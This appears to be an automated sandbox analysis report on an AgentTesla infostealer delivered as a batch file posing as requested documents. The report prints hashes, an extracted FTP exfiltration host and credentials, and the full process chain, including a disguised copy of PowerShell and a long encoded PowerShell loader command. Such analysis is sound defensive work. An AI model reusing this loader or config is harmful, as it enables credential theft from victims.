Analysis
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max time kernel
141s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system -
submitted
05-12-2023 17:30
Static task
static1
Behavioral task
behavioral1
Sample
Documents as requested.bat
Resource
win7-20231201-en
Behavioral task
behavioral2
Sample
Documents as requested.bat
Resource
win10v2004-20231127-en
General
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Target
Documents as requested.bat
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Size
1006KB
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MD5
171e778657c7295e85e8300f360cb8f3
-
SHA1
514c680ac7eff0d76b0c3ab4a8843aaded52864b
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SHA256
79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45
-
SHA512
de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04
-
SSDEEP
24576:kxzN/hRdkbOXdtw3hQxSKXRMUMerPAY0OiXkXdsLg:klLwRkzyTe0SMg
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://files.000webhost.com - Port:
21 - Username:
tain00 - Password:
computer@2020
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Executes dropped EXE 1 IoCs
Processes:
Lysnyr.pngpid process 2416 Lysnyr.png -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops file in Windows directory 1 IoCs
Processes:
Lysnyr.pngdescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp Lysnyr.png -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1048 2416 WerFault.exe Lysnyr.png -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
Lysnyr.pngpid process 2416 Lysnyr.png 2416 Lysnyr.png 2416 Lysnyr.png 2416 Lysnyr.png -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
Lysnyr.pngdescription pid process Token: SeDebugPrivilege 2416 Lysnyr.png Token: SeDebugPrivilege 2416 Lysnyr.png Token: SeRestorePrivilege 2416 Lysnyr.png Token: SeBackupPrivilege 2416 Lysnyr.png Token: SeBackupPrivilege 2416 Lysnyr.png -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2684 wrote to memory of 2072 2684 cmd.exe cmd.exe PID 2684 wrote to memory of 2072 2684 cmd.exe cmd.exe PID 2684 wrote to memory of 3448 2684 cmd.exe xcopy.exe PID 2684 wrote to memory of 3448 2684 cmd.exe xcopy.exe PID 2684 wrote to memory of 1816 2684 cmd.exe cmd.exe PID 2684 wrote to memory of 1816 2684 cmd.exe cmd.exe PID 1816 wrote to memory of 2068 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 2068 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 1656 1816 cmd.exe xcopy.exe PID 1816 wrote to memory of 1656 1816 cmd.exe xcopy.exe PID 1816 wrote to memory of 2176 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 2176 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 1332 1816 cmd.exe xcopy.exe PID 1816 wrote to memory of 1332 1816 cmd.exe xcopy.exe PID 1816 wrote to memory of 2416 1816 cmd.exe Lysnyr.png PID 1816 wrote to memory of 2416 1816 cmd.exe Lysnyr.png PID 1816 wrote to memory of 2416 1816 cmd.exe Lysnyr.png
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2072
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png2⤵PID:3448
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2068
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png3⤵PID:1656
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat" C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat3⤵PID:1332
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2176
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C:\Users\Admin\AppData\Local\Temp\Lysnyr.pngC:\Users\Admin\AppData\Local\Temp\Lysnyr.png -win 1 -enc JABTAGcAZwBrAHAAZABxAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASgBoAHMAdAB5AGEAbgByAHUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUwBnAGcAawBwAGQAcQBiACkAOwAkAE8AcwBuAGgAcQBqAHgAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASgBoAHMAdAB5AGEAbgByAHUAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQByAHQAZwBhAHYAeQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAE8AcwBuAGgAcQBqAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQByAHQAZwBhAHYAeQB0AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABZAHIAdABnAGEAdgB5AHQALgBDAGwAbwBzAGUAKAApADsAJABPAHMAbgBoAHEAagB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABKAGgAcwB0AHkAYQBuAHIAdQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFoAcwBmAGwAaQBpAHgAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFcAeABpAGYAbgB1ACAAPQAgACQAWgBzAGYAbABpAGkAeABnAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQAWgBlAGUAaABuAG4AbABmAHYAegBoACAAPQAgACQAVwB4AGkAZgBuAHUALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2416 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 24644⤵
- Program crash
PID:1048
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2416 -ip 24161⤵PID:4328
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
1006KB
MD5171e778657c7295e85e8300f360cb8f3
SHA1514c680ac7eff0d76b0c3ab4a8843aaded52864b
SHA25679261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45
SHA512de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc